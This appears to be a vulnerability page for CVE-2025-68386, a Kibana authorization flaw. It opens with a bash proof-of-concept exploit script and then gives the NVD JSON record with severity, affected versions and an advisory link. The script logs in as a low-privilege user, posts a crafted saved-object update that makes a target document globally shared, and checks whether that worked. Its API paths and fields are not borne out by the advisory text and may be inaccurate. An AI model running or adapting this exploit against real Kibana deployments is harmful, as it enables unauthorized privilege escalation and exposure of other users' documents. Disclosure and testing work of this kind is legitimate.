CVE-2025-68386

#!/bin/bash # CVE-2025-68386 PoC - Kibana Improper Authorization leading to Privilege Escalation # This script demonstrates how an authenticated user can change document sharing type to global KIBANA_URL="https://your-kibana-instance:5601" USERNAME="low-privilege-user" PASSWORD="password" TARGET_DOC_ID="target-document-id" SPACE_ID="default" # Step 1: Authenticate and get session cookie/token echo "[*] Authenticating as low-privilege user..." AUTH_RESPONSE=$(curl -s -k -X POST "${KIBANA_URL}/api/security/v1/login" \ -H "Content-Type: application/json" \ -d "{\"username\":\"${USERNAME}\",\"password\":\"${PASSWORD}\"}" \ -c cookies.txt) if echo "$AUTH_RESPONSE" | grep -q "error"; then echo "[!] Authentication failed" exit 1 fi echo "[+] Authentication successful" # Step 2: Attempt to change document sharing type to global echo "[*] Attempting to modify document sharing type..." EXPLOIT_RESPONSE=$(curl -s -k -X POST "${KIBANA_URL}/s/${SPACE_ID}/api/saved_objects/_update/${TARGET_DOC_ID}" \ -H "Content-Type: application/json" \ -b cookies.txt \ -d '{ "attributes": { "coreMigrationVersion": "8.19.8", "sharingConfig": { "shareTo": ["global"], "sharingType": "global" } } }') echo "[+] Exploit response: $EXPLOIT_RESPONSE" # Step 3: Verify the document is now globally accessible echo "[*] Verifying document is now globally visible..." VERIFY_RESPONSE=$(curl -s -k "${KIBANA_URL}/s/${SPACE_ID}/api/saved_objects/document/${TARGET_DOC_ID}" \ -b cookies.txt) if echo "$VERIFY_RESPONSE" | grep -q '"sharingType":"global"'; then echo "[+] VULNERABLE: Document sharing type successfully changed to global!" echo "[+] All users in the space can now access this document" else echo "[-] Not vulnerable or document not found" fi # Cleanup rm -f cookies.txt

{"cve": {"id": "CVE-2025-68386", "sourceIdentifier": "[email protected]", "published": "2025-12-18T23:15:49.160", "lastModified": "2025-12-23T19:07:36.380", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Authorization (CWE-285) in Kibana can lead to privilege escalation (CAPEC-233) by allowing an authenticated user to change a document's sharing type to \"global,\" even though they do not have permission to do so, making it visible to everyone in the space via a crafted a HTTP request."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-863"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:elastic:kibana:*:*:*:*:*:*:*:*", "versionStartIncluding": "7.0.0", "versionEndIncluding": "7.17.29", "matchCriteriaId": "8820B4BC-0DAB-4C9B-8053-90DE2C19646E"}, {"vulnerable": true, "criteria": "cpe:2.3:a:elastic:kibana:*:*:*:*:*:*:*:*", "versionStartIncluding": "8.0.0", "versionEndExcluding": "8.19.8", "matchCriteriaId": "BB564579-5F98-4F52-B32A-9B87C25DF71B"}, {"vulnerable": true, "criteria": "cpe:2.3:a:elastic:kibana:*:*:*:*:*:*:*:*", "versionStartIncluding": "9.0.0", "versionEndExcluding": "9.1.8", "matchCriteriaId": "4CFE640F-1CCC-4580-AC29-5438EE33627C"}, {"vulnerable": true, "criteria": "cpe:2.3:a:elastic:kibana:*:*:*:*:*:*:*:*", "versionStartIncluding": "9.2.0", "versionEndExcluding": "9.2.2", "matchCriteriaId": "C4429C9D-7DA5-4F27-B0AB-92F8D6F077CE"}]}]}], "references": [{"url": "https://discuss.elastic.co/t/kibana-8-19-8-9-1-8-and-9-2-2-security-update-esa-2025-38/384186", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}